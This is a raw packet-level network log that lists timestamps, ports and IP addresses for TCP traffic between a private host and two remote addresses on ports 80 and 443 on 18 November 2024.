Nov 18, 2024 08:55:47.844830990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844849110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844858885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844858885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844861984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844873905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844883919 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.844888926 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844897985 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.844923973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845065117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845082045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845093966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845104933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845117092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845138073 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845151901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845164061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845175028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845187902 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845215082 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845226049 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845395088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845412970 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845423937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845434904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845438957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845448017 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845453978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845468998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845470905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845479012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845490932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845505953 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845510006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845530987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845537901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845551968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845561981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845563889 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845572948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845585108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845596075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845596075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845607996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845611095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845617056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845628977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845643997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845645905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845654011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845665932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845674992 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845678091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845686913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845695972 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845699072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845710039 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845726967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845750093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845758915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845769882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845787048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845792055 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845798969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.845817089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845832109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.845980883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846002102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846014023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846045971 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846057892 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846061945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846072912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846084118 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846092939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846096039 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846106052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846111059 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846132040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846157074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846220016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846231937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846242905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846254110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846265078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846270084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846275091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846283913 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846287966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846299887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846313000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846313000 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846333981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846352100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846436977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846479893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846498966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846513033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846519947 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846524000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846544981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846554995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846632957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846645117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846656084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846666098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846681118 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846684933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846694946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846704960 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846704960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846716881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846719980 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846728086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846748114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846748114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846760035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846770048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846774101 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846792936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846812963 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846899033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846911907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846924067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846949100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846960068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.846982956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846990108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.846997023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847007990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847017050 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.847037077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.847059011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.847064972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847075939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847088099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847122908 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.847134113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.847136974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.847173929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.860707045 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.860721111 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.860753059 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.860795975 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.860822916 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.860865116 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.860904932 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.862997055 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.863018036 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.863065004 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.863085985 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.863094091 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.883423090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883486032 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883544922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883558035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883577108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883586884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883600950 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883605957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883605957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883611917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883630991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883631945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883644104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883654118 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883657932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883666039 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883678913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883688927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883691072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883721113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883721113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883744955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883816957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883827925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883840084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883850098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883868933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883871078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883879900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883889914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883893013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883904934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883905888 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883918047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883929014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.883939981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883968115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.883997917 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960774899 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960796118 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960807085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960829973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960863113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960881948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960892916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960903883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960916996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960927010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960927963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960944891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960967064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.960973024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.960983992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961003065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961004972 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961023092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961028099 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961035967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961045980 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961046934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961057901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961061001 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961066961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961080074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961086035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961097956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961107016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961110115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961122990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961124897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961136103 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961153984 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961177111 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961178064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961188078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961199045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961209059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961220026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961222887 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961227894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961234093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961240053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961245060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961250067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961270094 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961289883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961293936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961308956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961321115 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961329937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961355925 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961487055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961498976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961510897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961520910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961523056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961536884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961539030 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961548090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961561918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961570978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961571932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961585045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961596966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961607933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961611986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961627007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961637020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961644888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961656094 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961666107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961666107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961678028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961688995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961689949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961710930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961711884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961721897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961723089 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961730957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961734056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961745024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961749077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961755991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961766005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961771011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961777925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961788893 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961798906 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961802006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961812973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961815119 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961824894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961838961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961841106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961858988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961865902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961878061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961883068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961889982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961900949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961905956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961914062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961920023 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961926937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961937904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961946011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961949110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961961031 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961975098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.961981058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.961997986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962003946 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962009907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962022066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962033987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962045908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962053061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962058067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962069988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962073088 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.962085009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962093115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962096930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962109089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962110043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962122917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962135077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962138891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962151051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962162018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962169886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962176085 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962182045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962193966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962204933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962207079 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962218046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962229967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962232113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962241888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962245941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962255001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962268114 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962287903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.962291002 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.962310076 CET	49844	80	192.168.2.7	185.215.113.206
